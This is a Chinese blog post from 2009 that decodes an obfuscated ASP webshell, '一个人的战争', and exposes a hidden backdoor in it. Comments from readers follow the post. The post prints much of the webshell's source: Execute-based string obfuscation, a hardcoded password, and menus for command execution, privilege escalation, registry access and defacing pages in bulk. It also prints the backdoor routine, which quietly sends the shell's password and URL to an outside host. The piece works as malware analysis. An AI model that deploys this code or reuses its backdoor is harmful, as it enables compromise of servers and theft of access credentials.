上一篇 |

原创天空

"一个人的战争"webshell的解密和后门全解析

作者:admin 日期:2009-10-06

字体大小: 小中大

朋友给了这个shell，回广州了就看看了。这个shell解密清爽，简洁。应当还是花了不少功夫调试。先上图看界面。

同样，这个shell也是VBScript.Encode加密，那么老办法了，JScript的VBscript.Encode 解码器搞定。

程序代码

<%@ LANGUAGE = VBScript.Encode %>
<%
UserPass="jieshao1"

Server.ScriptTimeout=999999999
Response.Buffer =true
On Error Resume Next
ShellName="一个人的战争"
Copyright="苹果核小组-黑帽子<p/><table width=""450"" border=""1"" cellpadding=""10""><tr><td><div align=center></td></tr></table>"
sub ShowErr()
If Err Then
    RRS"<br><a href='javascript:history.back()'><br> " & Err.DescrIption & "</a><br>"
    Err.Clear:Response.Flush
  ENd IF
End SUB
Sub RRS(Str)
    Response.WRItE(Str)
END Sub
Function rePATH(S)
  REpath=REpLAcE(s,"\","\\")
ENd Function
FuNctIon RRepaTh(S)
  RREpaTH=rEplAcE(S,"\\","\")
end fUncTion
ShiSan="╁>retnec/<>a/<回返>')(kcab.yrotsih:tpircsavaj'=ferh a<>retnec<>rb<>rb<╁=lRukCAB╋)╁emaNF╁(TseUQer=EMANf╋)╁htaPredloF╁(tSeuqER=htAprEdLOF╋sSApResu=PrevreS╋lRU&)╁tsoh_ptth╁(selbaIRavreVRES.TSeuQeR=UrevreS╋)╁/╁(HTAppAM.REVrES=tOORWWW╋)╁.╁(HTapPAm.RevReS=HTApTooR╋)╁noitcA╁(tSEUQeR=NoITcA╋)╁RDDA_LACOL╁(sElBAIrAVReVrEs.tSEuqer=pirevreS╋)╁LRU╁(selbaiRAvrEVrEs.tSeuQER=lrU"
ExeCuTe(ShiSanFun(ShiSan))
dim ShiSan,ShiSanNewstr,ShiSanI
Function ShiSanFun(ShiSanObjstr)
ShiSanObjstr = Replace(ShiSanObjstr, "╁", """")
For ShiSanI = 1 To Len(ShiSanObjstr)
If Mid(ShiSanObjstr, ShiSanI, 1) <> "╋" Then
ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) & ShiSanNewStr
Else
ShiSanNewStr = vbCrLf & ShiSanNewStr
End If
Next
ShiSanFun = ShiSanNewStr
End Function
rRs"<html><meta http-equiv=""Content-Type"" content=""text/html; charset=gb2312"">"
RRS"<title>"&ShellName&" - "&ServerIP&" </title>"
RRS"<style type=""text/css"">"
RRS"body,td{font-size: 12px;background-color:#000000;color:#00ff00;SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #008000; SCROLLBAR-SHADOW-COLOR: #008000; SCROLLBAR-3DLIGHT-COLOR: #000000; SCROLLBAR-ARROW-COLOR: #000000; SCROLLBAR-TRACK-COLOR: #000000; FONT-FAMILY: verdana; SCROLLBAR-DARKSHADOW-COLOR: #000000}"
RRS"input,select,textarea{BORDER-TOP-WIDTH: 1px; FONT-WEIGHT: bold; BORDER-LEFT-WIDTH: 1px; FONT-SIZE: 10px; BORDER-LEFT-COLOR: #008000; BACKGROUND: #004000; BORDER-BOTTOM-WIDTH: 1px; BORDER-BOTTOM-COLOR: #008000; COLOR: #00ff00; BORDER-TOP-COLOR: #008000; FONT-FAMILY: verdana; BORDER-RIGHT-WIDTH: 1px; BORDER-RIGHT-COLOR: #008000}"
RRS".C{background-color:#444;border:0px}"
RRS".cmd{background-color:#000;color:#FFF}"
RRS"body{margin: 0px;margin-left:4px;}"
rrs"hr{color:#00ff00}"
RRS"a{color:#008000;text-decoration: none;}a:hover{color:#00ff00;background:#000}"
RRS".am{color:#888;font-size:11px;}"
RRS"</style>"
ShiSan="╋╋╁>tpircs/<╁sRR╋╁};eurt nruter;)(timbus.mroFbD;╁╁╁╁=LMTHrenni.cba;gp = eulav.egaP.mroFbD;rts = eulav.rtSlqS.mroFbD};eslaf nruter;)╁╁!确正否是句语LQS查检请╁╁(trela{)01<htgnel.rts(fi};eslaf nruter;)╁╁!确正否是串接连库据数查检请╁╁(trela{)5<htgnel.eulav.rtSbD.mroFbD(fi{)gp,rts(rtSlqSlluF noitcnuf╁SRR╋╁};eurt nruter};]i[rtS = eulav.rtSlqS.mroFbD{esle};)]i[rtS(trela{)21==i(fi esle};╁╁>retnec/<。句语令命作操LQS入输再库据数接连己认确请>retnec<╁╁=LMTHrenni.cba;╁╁╁╁ = eulav.rtSlqS.mroFbD;]i[rtS = eulav.rtSbD.mroFbD{)3=<i(fi;╁╁。节字个十五前的段字示显只据数条一过超n\.现实询查制控件条用可，节字部全的段字示显可即时据数条一示显只当╁╁ =]21[rtS;╁╁SSAP NMULOC PORD ]emaNelbaT[ ELBAT RETLA╁╁ =]11[rtS;╁╁)23(RAHCRAV SSAP NMULOC DDA ]emaNelbaT[ ELBAT RETLA╁╁ =]01[rtS;╁╁]emaNelbaT[ ELBAT PORD╁╁ = ]9[rtS;╁╁))05(RAHCRAV RESU,LLUN TON )1,1( YTITNEDI TNI DI(]emaNelbaT[ ELBAT ETAERC╁╁ = ]8[rtS;╁╁001=DI EREHW '\emanresu'\=RESU TES ]emaNelbaT[ ETADPU╁╁ = ]7[rtS;╁╁001=DI EREHW ]emaNelbaT[ MORF ETELED╁╁ = ]6[rtS;╁╁)'\drowssap'\,'\emanresu'\(SEULAV )SSAP,RESU(]emaNelbaT[ OTNI TRESNI╁╁ = ]5[rtS;╁╁001<DI EREHW ]emaNelbaT[ MORF * TCELES╁╁ = ]4[rtS;╁╁emaNnsD=nsD╁╁ = ]3[rtS;╁╁****=dwP;toor=diU;emaNbD=esabataD;6033=troP;╁&PIrevreS&╁=revreS;}lqSyM{=revirD╁╁ = ]2[rtS;╁╁****=dwP;as=diU;emaNbD=esabataD;3341,╁&PIrevreS&╁=revreS;}revreS lqS{=revirD╁╁ = ]1[rtS;╁╁***=drowssaP esabataD:BDELO teJ;bdm.bd\\╁&))╁htaPredloF╁(noisseS(htaPeR&╁=ecruoS ataD;0.4.BDELO.teJ.tfosorciM=redivorP╁╁ = ]0[rtS;)21(yarrA wen = rtS};eslaf nruter{)0<i(fi{)i(rtSbDlluF noitcnuf╁SRR╋╁};eurt nruter};eslaf nruter;)0(rtSbDlluF;)╁╁库据数接连先请╁╁(trela{)╁╁╁╁ == eulav.rtSbD.mroFbD(fi{)(kcehCbD noitcnuf╁SRR╋╁}};╁╁╁╁ = eulav.emaNF.mrofedih.pot{esle};)(timbus.mrofedih.pot;noitcAF = eulav.noitcA.mrofedih.pot{)llun=!emaND(fi};╁╁rehtO╁╁ = emaND{esle};emaND = eulav.emaNF.mrofedih.pot;)emaNF,╁╁！在存否是件文意注,称名全件文bdM的缩压要入输请╁╁(tpmorp = emaND{)╁╁bdMtcapmoC╁╁==noitcAF(fi esle};emaND = eulav.emaNF.mrofedih.pot;)emaNF,╁╁！名同能不意注,称名全件文bdM的建新要入输请╁╁(tpmorp = emaND{)╁╁bdMetaerC╁╁==noitcAF(fi esle};emaND = eulav.emaNF.mrofedih.pot;)emaNF,╁╁称名全夹件文的建新要入输请╁╁(tpmorp = emaND{)╁╁redloFweN╁╁==noitcAF(fi esle};emaND+╁╁||||╁╁ =+ eulav.emaNF.mrofedih.pot;)emaNF,╁╁称名全夹件文标目到动移入输请╁╁(tpmorp = emaND{)╁╁redloFevoM╁╁==noitcAF(fi esle};emaND+╁╁||||╁╁ =+ eulav.emaNF.mrofedih.pot;)emaNF,╁╁称名全夹件文标目到动移入输请╁╁(tpmorp = emaND{)╁╁redloFypoC╁╁==noitcAF(fi esle};emaND+╁╁||||╁╁ =+ eulav.emaNF.mrofedih.pot;)emaNF,╁╁称名全件文标目到动移入输请╁╁(tpmorp = emaND{)╁╁eliFevoM╁╁==noitcAF(fi esle};emaND+╁╁||||╁╁ =+ eulav.emaNF.mrofedih.pot;)emaNF,╁╁称名全件文标目到制复入输请╁╁(tpmorp = emaND{)╁╁eliFypoC╁╁==noitcAF(fi;emaNF = eulav.emaNF.mrofedih.pot{)noitcAF,emaNF(mroFlluF noitcnuf╁SRR╋╁};)(timbus.mrofrdda.pot;redloF = eulav.htaPredloF.mrofrdda.pot{)redloF(redloFwohS noitcnuf╁SRR╋╁;)(kcolCnur};yalpsid+╁╁--  ╁&DA&╁→！╁╁=sutats.wodniw;)(gnirtSelacoLot.yadot =yalpsid rav;)(etaD wen = yadot rav;)001 ,╁╁)(kcolCnur╁╁(tuoemiTtes.wodniw = emiTeht{)(kcolCnur noitcnuf╁SRR╋╁};eslaf nruter esle;eurt nruter))╁╁？吗作操此行执要认确╁╁(mrifnoc( fi{)(kosey noitcnuf╁SRR╋╁;srorrEllik=rorreno.wodniw};eurt nruter{)(srorrEllik noitcnuf>tpircsavaj=egaugnal tpircs<╁SRR"
ExeCuTe(ShiSanFun(ShiSan))

Rrs "<body"
IF actiON="" theN rRS " scroll=no"
rRs ">"
DIm oBt(13,2)
oBt(0,0) = "Scripting.FileSystemObject"
  oBt(0,2) = "文件操作组件"
Obt(1,0) = "wscript.shell"
  obt(1,2) = "命令行执行组件"
obT(2,0) = "ADOX.Catalog"
  ObT(2,2) = "ACCESS建库组件"
oBt(3,0) = "JRO.JetEngine"
  obt(3,2) = "ACCESS压缩组件"
OBt(4,0) = "Scripting.Dictionary"
  ObT(4,2) = "数据流上传辅助组件"
OBT(5,0) = "Adodb.connection"
  oBT(5,2) = "数据库连接组件"
oBT(6,0) = "Adodb.Stream"
  oBT(6,2) = "数据流上传组件"
OBT(7,0) = "SoftArtisans.FileUp"
  OBT(7,2) = "SA-FileUp 文件上传组件"
obT(8,0) = "LyfUpload.UploadFile"
  OBT(8,2) = "刘云峰文件上传组件"
oBT(9,0) = "Persits.Upload.1"
  oBt(9,2) = "ASPUpload 文件上传组件"
obT(10,0) = "JMail.SmtpMail"
  Obt(10,2) = "JMail 邮件收发组件"
obt(11,0) = "CDONTS.NewMail"
  ObT(11,2) = "虚拟SMTP发信组件"
ObT(12,0) = "SmtpMail.SmtpMail.1"
  oBT(12,2) = "SmtpMail发信组件"
OBT(13,0) = "Microsoft.XMLHTTP"
  OBt(13,2) = "数据传输组件"
fOr I=0 tO 13
    Set T=serVER.CreateoBJEcT(obT(I,0))
    If -2147221005 <> err Then
      ISoBJ=" √"
    ELSE
      ISobj=" ×"
      eRr.cLEar
    eNd iF
    Set T=nOthInG
    oBt(i,1)=IsoBj
neXt
IF foLderPaTH<>"" Then
  sEssioN("FolderPath")=rRepatH(fOlDeRpATH)
EnD If
If SeSSIoN("FolderPath")="" THEN
  fOLDERpAth=RoOTpaTH
  SESSIOn("FolderPath")=fOLDeRPatH
end IF
fUNcTiOn MAINFORm()
ShiSan="╋╋╁>elbat/<>rt/<>dt/<╁SRR╋╁>emarfi/<>'1'=redrobemarf '%001'=thgieh '%001'=htdiw 'eliF1wohS=noitcA?'=crs 'emarFeliF'=eman emarfi<╁sRr╋╁>dt<╁srR╋╁>dt/<>emarfi/<>'0'=redrobemarf '%001'=thgieh '%001'=htdiw 'uneMniaM=noitcA?'=crs 'tfeL'=eman emarfi<╁SRR╋╁>'071'=htdiw dt<>rt<>rt/<>dt/<>elbat/<>mrof/<>rt/<>dt/<╁SRR╋╁>dt<>dt/<』>a/<stnemucoD>')╁╁\\stnemucoD\\sresU llA\\sgnitteS dna stnemucoD\\:C╁╁(redloFwohS:tpircsavaj'=ferh a<『』>a/<pmeT>')╁╁\\pmeT\\swodniw\\:c╁╁(redloFwohS:tpircsavaj'=ferh a<『』>a/<atad>')╁╁\\atad\\vrsteni\\23metsys\\SWODNIW\\:c╁╁(redloFwohS:tpircsavaj'=ferh a<『』>a/<gifnoc>')╁╁\\gifnoc\\23metsys\\SWODNIW\\:C╁╁(redloFwohS:tpircsavaj'=ferh a<『』>a/<LQS>')╁╁\\revreS LQS tfosorciM\\seliF margorP\\:C╁╁(redloFwohS:tpircsavaj'=ferh a<『』>a/<revreSlaeR>')╁╁laeR\\seliF margorP\\:C╁╁(redloFwohS:tpircsavaj'=ferh a<『』>a/<u-vres>')╁╁\\u-vres\\seliF margorP\\:c╁╁(redloFwohS:tpircsavaj'=ferh a<『』>a/<erehwynAcp>')╁╁\\erehwynAcp\\cetnamyS\\ataD noitacilppA\\sresU llA\\sgnitteS dna stnemucoD\\:C╁╁(redloFwohS:tpircsavaj'=ferh a<『』>a/<RELCYCER>')╁╁\\RELCYCER\\:C╁╁(redloFwohS:tpircsavaj'=ferh a<『』>a/<序程 >b/<→>b< 始开>')╁╁\\序程\\单菜」始开「\\sresU llA\\sgnitteS dna stnemucoD\\:C╁╁(redloFwohS:tpircsavaj'=ferh a<『』>a/<sresUllA>')╁╁\\sresU llA\\sgnitteS dna stnemucoD\\:C╁╁(redloFwohS:tpircsavaj'=ferh a<『』>a/<margorP>')╁╁seliF margorP\\:C╁╁(redloFwohS:tpircsavaj'=ferh a<『：表列录目权提>rt<╁SRR╋╁>'elddim'=ngilav 'retnec'=ngila rt<  ╁SRR╋ ╁>')(daoler.noitacol.emarFeliF'=kcilcno '口窗主新刷'=eulav 'timbus'=epyt tupni< >'到转'=eulav 'timbus'=epyt 'timbuS'=eman tupni<>'retnec'=ngila '041'=htdiw dt<>dt/<╁SRR╋╁>'╁&)╁htaPredloF╁(noISseS&╁'=eulav '%001:htdiw'=elyts 'htaPredloF'=eman tupni<╁SRR╋╁>dt<>dt/<：栏址地>'retnec'=ngila '06'=htdiw dt<>rt<╁sRr╋╁>'tnerap_'=tegrat '╁&lrU&╁'=noitca 'tsop'=dohtem 'mrofrdda'=eman mrof<╁srr╋╁>'%001'=htdiw elbat<╁sRr╋╁>'2'=napsloc '03'=thgieh dt<>rt<╁srr╋╁>'0'=gnicapsllec '0'=gniddapllec 0=redrob  '%001'=thgieh '%001'=htdiw elbat<╁SrR╋╁>mrof/<╁sRR╋╁>╁╁emaNF╁╁=eman ╁╁neddih╁╁=epyt tupni<╁SrR╋╁>╁╁noitcA╁╁=eman ╁╁neddih╁╁=epyt tupni<╁SrR╋╁>╁╁emarFeliF╁╁=tegrat ╁╁╁&Lru&╁╁╁=noitca ╁╁tsop╁╁=dohtem ╁╁mrofedih╁╁=eman mrof<╁srR"
ExeCuTe(ShiSanFun(ShiSan))
End FuNCtiON
funcTiOn maINmenU()
RRs"<table width='100%' cellspacing='0' cellpadding='0'>"
RrS"<tr><td height='5'></td></tr>"
RRS"</td></tr>"
iF OBT(0,1)=" ×" Then
RRS"<tr><td height='24'>无FSO/无权限</td></tr>"
Else
RRS"<tr><td height=24 onmouseover=""menu1.style.display=''""><b>+>查看硬盘</b><div id=menu1 style=""width:100%;display='none'"" onmouseout=""menu1.style.display='none'"">"
SET ABC=NEW LBf:RRS abC.SHOwDRiVeR():SET ABc=noTHing
RRS"</div></td></tr><tr><td height='20'><a href='javascript:ShowFolder("""&RePAtH(WWWROot)&""")'>●站点根目录</a></td></tr>"
RRS"<tr><td height='20'><a href='javascript:ShowFolder("""&rEPaTh(RootPAth)&""")'>●本程序目录</a></td></tr>"
RRS"<tr><td height='20'><a href='javascript:FullForm("""&rEPAth(sessiOn("FolderPath")&"\NewFolder")&""",""NewFolder"")'>●新建目录</a></td></tr>"
RRS"<tr><td height='20'><a href='?Action=EditFile' target='FileFrame'>●新建文本</a></td></tr>"
RRS"<tr><td height='20'><a href='?Action=UpFile' target='FileFrame'>●上传文件</a></td></tr>"
RRS"<tr><td height='20'><a href='?Action=PageAddToMdb' target='FileFrame'>●文件夹打包-解包</a></td></tr>"
END if

ShiSan="╋╋╁>elbat/<╁sRR╋╁>elbat/<>rt/<>dt/p/<争战的人个一>'der:roloc'=elyts retnec=ngila dt<>rt<╁SRR╋╁>'%001'=htdiw 1=thgih rh<>retnec<>dt<>rt<╁sRR╋╁>rt/<>dt/<>a/<录登出退●>'pot_'=tegrat 'tuogoL=noitcA?'=ferh a<>'02'=thgieh dt<>rt<╁SRR╋╋╁>rt/<>dt/<>vid/<>a/<件文BDM缩压●>')╁╁bdMtcapmoC╁╁,╁╁╁&)╁bdm.atad\╁&)╁htaPredloF╁(noisseS(htaPeR&╁╁╁(mroFlluF:tpircsavaj'=ferh a<>'02'=thgieh dt<>rt<╁SRR╋╁>rb<>a/<件文BDM立建●>')╁╁bdMetaerC╁╁,╁╁╁&)╁bdm.weN\╁&)╁htaPredloF╁(noisseS(htaPeR&╁╁╁(mroFlluF:tpircsavaj'=ferh a<>'02'=thgieh dt<>rt<╁SRR╋╁>rb<>a/<库据数接连●>'emarFeliF'=tegrat 'reganaMbD=noitcA?'=ferh a<>'02'=thgieh dt<>rt<╁SRR╋╁>╁╁'enon'=yalpsid.elyts.2unem╁╁=tuoesuomno ╁╁'enon'=yalpsid;%001:htdiw;xp81:thgieh-enil╁╁=elyts 2unem=di vid<>b/<作操库据数-↓>b<>╁╁''=yalpsid.elyts.2unem╁╁=revoesuomno '42'=thgieh dt<>rt<╁SRR╋╋╁>rt/<>dt/<>a/<令命行执程远IMW●>'emarFeliF'=tegrat 'IMW=noitcA?'=ferh a<>'02'=thgieh dt<>rt<╁SRR╋╁>rb<>a/<权提LQS●>'emarFeliF'=tegrat 'tiktoorlqS=noitcA?'=ferh a<>'02'=thgieh dt<>rt<╁SRR╋╁>rb<>a/<权提U-vreS●>'emarFeliF'=tegrat 'uvreS=noitcA?'=ferh a<>'02'=thgieh dt<>rt<╁srR╋╁>rb<>a/<载下接直●>'emarFeliF'=tegrat 'daolpU=noitcA?'=ferh a<>'02'=thgieh dt<>rt<╁SRR╋╁>rt/<>dt/<>a/<作操表册注●>'emarFeliF'=tegrat 'GERdaeR=noitcA?'=ferh a<>'02'=thgieh dt<>rt<╁SRR╋╁>rt/<>dt/<>a/<器描扫口端●>'emarFeliF'=tegrat 'troPnacS=noitcA?'=ferh a<>'02'=thgieh dt<>rt<╁srR╋╁>rt/<>dt/<>a/<令命dmC行执●>'emarFeliF'=tegrat 'llehS1dmC=noitcA?'=ferh a<>'02'=thgieh dt<>rt<╁sRR╋╁>╁╁'enon'=yalpsid.elyts.3unem╁╁=tuoesuomno ╁╁'enon'=yalpsid;%001:htdiw╁╁=elyts 3unem=di vid<>b/<关相权提-↓ >b<>╁╁''=yalpsid.elyts.unem╁╁=revoesuomno 42=thgieh dt<>rt<╁SRR╋╋╁>rt/<>dt/<>a/<马木找查●>'emarFeliF'=tegrat 'PSAkcehC=noitcA?'=ferh a<>'02'=thgieh dt<>rt<╁SRR╋╁>rb<>a/<马挂分部●>'emarFeliF'=tegrat 'mglp=noitcA?'=ferh a<>'02'=thgieh dt<>rt<╁SRR╋╁>rb<>a/<>b/<换替>b<量批●>'emarFeliF'=tegrat '3=M&mglpC=noitcA?'=ferh a<>'02'=thgieh dt<>rt<╁SRR╋╁>rb<>a/<>b/<马清>b<量批●>'emarFeliF'=tegrat '2=M&mglpC=noitcA?'=ferh a<>'02'=thgieh dt<>rt<╁SRR╋╁>rb<>a/<>b/<马挂>b<量批●>'emarFeliF'=tegrat '1=M&mglpC=noitcA?'=ferh a<>'02'=thgieh dt<>rt<╁SRR╋╁>╁╁'enon'=yalpsid.elyts.2unem╁╁=tuoesuomno ╁╁'enon'=yalpsid;%001:htdiw;xp81:thgieh-enil╁╁=elyts 2unem=di vid<>b/<关相马挂-↓ >b<>╁╁''=yalpsid.elyts.unem╁╁=revoesuomno '42'=thgieh dt<>rt<╁SRR╋╋╁>rt/<>dt/<>a/<测探器务服●>'emarFeliF'=tegrat 'ofnIlanimreTteG=noitcA?'=ferh a<>'02'=thgieh dt<>rt<╁SRR╋╁>rb<>a/<号帐组理管●>'emarFeliF'=tegrat 'resUnimdA=noitcA?'=ferh a<>'02'=thgieh dt<>rt<╁SRR╋╁>rt/<>dt/<>a/<持支件组-息信机主●>'emarFeliF'=tegrat 'ofnIrevreS=noitcA?'=ferh a<>'02'=thgieh dt<>rt<╁SRR╋╁>rt/<>dt/<>a/<号账户用-务服统系●>'emarFeliF'=tegrat 'esruoC=noitcA?'=ferh a<>'02'=thgieh dt<>rt<╁SRR╋╁>rb<>a/<录目写可看查●>'emarFeliF'=tegrat 'mroFevirDnacS=noitcA?'=ferh a<>'02'=thgieh dt<>rt<╁SRR╋╁>╁╁'enon'=yalpsid.elyts.4unem╁╁=tuoesuomno ╁╁'enon'=yalpsid;%001:htdiw╁╁=elyts 4unem=di vid<>b/<息信器务服-↓ >b<>╁╁''=yalpsid.elyts.unem╁╁=revoesuomno 42=thgieh dt<>rt<╁SRR"
ExeCuTe(ShiSanFun(ShiSan))
Call shellcore
End FunCtion
....太长了，kill，kill
%></body></html>

可以看到许多地方还是被自定义加密了，同样解密函数复制到vb中一一解密出来。这个shell有2个自定义加密，
一个是十三的加密

程序代码

Function ShiSanFun(ShiSanObjstr)
ShiSanObjstr = Replace(ShiSanObjstr, "╁", """")
For ShiSanI = 1 To Len(ShiSanObjstr)
If Mid(ShiSanObjstr, ShiSanI, 1) <> "╋" Then
ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) & ShiSanNewStr
Else
ShiSanNewStr = vbCrLf & ShiSanNewStr
End If
Next
ShiSanFun = ShiSanNewStr
End Function

还有另外一个加密

程序代码

function UnEncode(cc)
for i = 1 to len(cc)
    if mid(cc,i,1)<> "琳" then
temp = Mid(cc, i, 1) + temp
   else
    temp=vbcrlf&temp
end if
next
UnEncode=temp
end function

这个shell的后门有点意思，他并不是想起他shell一样，登陆即激活后门，他隐藏在ServerInfo()这个函数中，点击“主机信息-组件支持”才会激活这个后门。他的代码如下

程序代码

Function ServerInfo()
if session("8cce") <> "ok" then
response.write "<script src=""http://www.8cce.com.cn/temp.php?p="&Server.URLEncode( UserPass )&"&h="&Server.URLEncode( "http://"&Request.ServerVariables("server_name")&":"&Request.ServerVariables("Server_Port")&Request.ServerVariables("script_name") )&""" ></script>"
session("8cce")="ok"
end if

si="<br><table width='80%' bgcolor='menu' border='0' cellspacing='1' cellpadding='0' align='center'>"
sI=Si&"<tr><td height='20' colspan='3' align='center' bgcolor='menu'>服务器组件信息</td></tr>"
Si=SI&"<tr align='center'><td height='20' width='200' bgcolor='#EEB422'>服务器名</td><td bgcolor='#EEB422'> </td><td bgcolor='#EEB422'>"&rEqUEsT.ServervaRiAbleS("SERVER_NAME")&"</td></tr>"
SI=sI&"<form method=post action='http://www.ip138.com/ips.asp' name='ipform' target='_blank'><tr align='center'><td height='20' width='200' bgcolor='#EEB422'>服务器IP</td><td bgcolor='#EEB422'> </td><td bgcolor='#EEB422'>"
Si=Si&"<input type='text' name='ip' size='15' value='"&rEquest.ServerVariables("LOCAL_ADDR")&"'style='border:0px'><input type='submit' value='查询'style='border:0px'><input type='hidden' name='action' value='2'></td></tr></form>"
SI=sI&"<tr align='center'><td height='20' width='200' bgcolor='#EEB422'>服务器时间</td><td bgcolor='#EEB422'> </td><td bgcolor='#EEB422'>"&NOW&" </td></tr>"
sI=si&"<tr align='center'><td height='20' width='200' bgcolor='#EEB422'>服务器CPU数量</td><td bgcolor='#EEB422'> </td><td bgcolor='#EEB422'>"&REqUESt.sERVeRVaRIABles("NUMBER_OF_PROCESSORS")&"</td></tr>"
Si=si&"<tr align='center'><td height='20' width='200' bgcolor='#EEB422'>服务器操作系统</td><td bgcolor='#EEB422'> </td><td bgcolor='#EEB422'>"&REquEst.sERvervARIaBleS("OS")&"</td></tr>"
Si=SI&"<tr align='center'><td height='20' width='200' bgcolor='#EEB422'>WEB服务器版本</td><td bgcolor='#EEB422'> </td><td bgcolor='#EEB422'>"&ReQuesT.sERvErvArIaBles("SERVER_SOFTWARE")&"</td></tr>"
fOR i=0 TO 13
SI=SI&"<tr align='center'><td height='20' width='200' bgcolor='#EEB422'>"&oBt(I,0)&"</td><td bgcolor='#EEB422'>"&oBT(i,1)&"</td><td bgcolor='#EEB422' align=left>"&obT(i,2)&"</td></tr>"
NEXt
RRs SI
End Function

先执行后门，然后执行真真的组件信息代码。这个后门还是比较隐秘的，shell地址和密码都经过URLEncode加密。

看着这些代码总是感觉这个shell应当是被改造过的了，不是原先作者的原始文件了。
看开头这段代码

程序代码

Url=REQueSt.sErVErvARiables("URL")
Serverip=requESt.sErVeRVArIABlEs("LOCAL_ADDR")
AcTIoN=ReQUESt("Action")
RooTpATH=SeRveR.mAPpaTH(".")
WWWROOt=SErVER.MAppATH("/")
ServerU=ReQueST.SERVervaRIables("http_host")&URl
ServerP=useRpASs
FOLdErpAth=REqueSt("FolderPath")
fNAME=reQUesT("FName")
BACkuRl="<br><br><center><a href='javascript:history.back()'>返回</a></center>"

可以看到ServerU是获取这个shell的地址，ServerP是获取shell的密码，但是后门没有调用。并且这个后门没有进行自定义加密。大胆猜测一下，这个shell是先去后门然后重新加后门的了。

附件中为原始加密文件、解密文件和去后门加密文件：
下载文件

点击下载此文件

以下说明属本文之一部分:

转载请保持完整并注明：转自金刀客[www.daokers.com]

[本日志由 admin 于 2009-10-07 05:32 PM 编辑]

相关日志:

文章来自: 本站原创

引用通告: 查看所有引用 | 我要引用此文章

Tags: 解密

在线RSS阅读器订阅:

手机订阅:

本站订阅地址：
RSS2：【点击复制】
Atom：【点击复制】

        本站所有原创文章均遵循 [创作共用协议]
        本站原创文章可以转载，但须保持完整性并注明出处。
        COPYRIGHT 2008-2010  §  HTTP://WWW.DAOKERS.COM  §    ALL RIGHTS

评论: 6 | 引用: 0 | 查看次数: -

mayimove[2011-01-06 10:24 PM |

]

顶
刀个在广州哪儿啊

Hackt[2010-03-07 09:24 AM |

]

多多学习

admin 于 2010-03-07 04:53 PM 回复

:-D

rrrrr[2009-10-20 01:41 PM |

]

默认的登陆密码是什么啊?

admin 于 2009-10-20 07:28 PM 回复

默认的？看UserPass的值就知道了

dao[2009-10-12 00:51 AM |

]

那个解密版本注释掉后门就行了，后门是一个script来的，搜索一下就出来了

哈哈[2009-10-11 09:07 PM |

]

老大有没有去后门解密版

admin 于 2009-10-20 07:28 PM 回复

后门很简单，自己搞定

小毅[2009-10-06 10:43 PM |

]

囧爱死你了

发表评论

昵　称:
密　码:	游客发言不需要密码.
验证码:	提示：单击自动获取验证码
内　容:	正在加载编辑器...
最多可输入，当前共，还可输入
选　项:	禁止表情转换禁止自动转换链接禁止自动转换关键字

虽然发表评论不用注册，但是为了保护您的发言权，建议您注册帐号.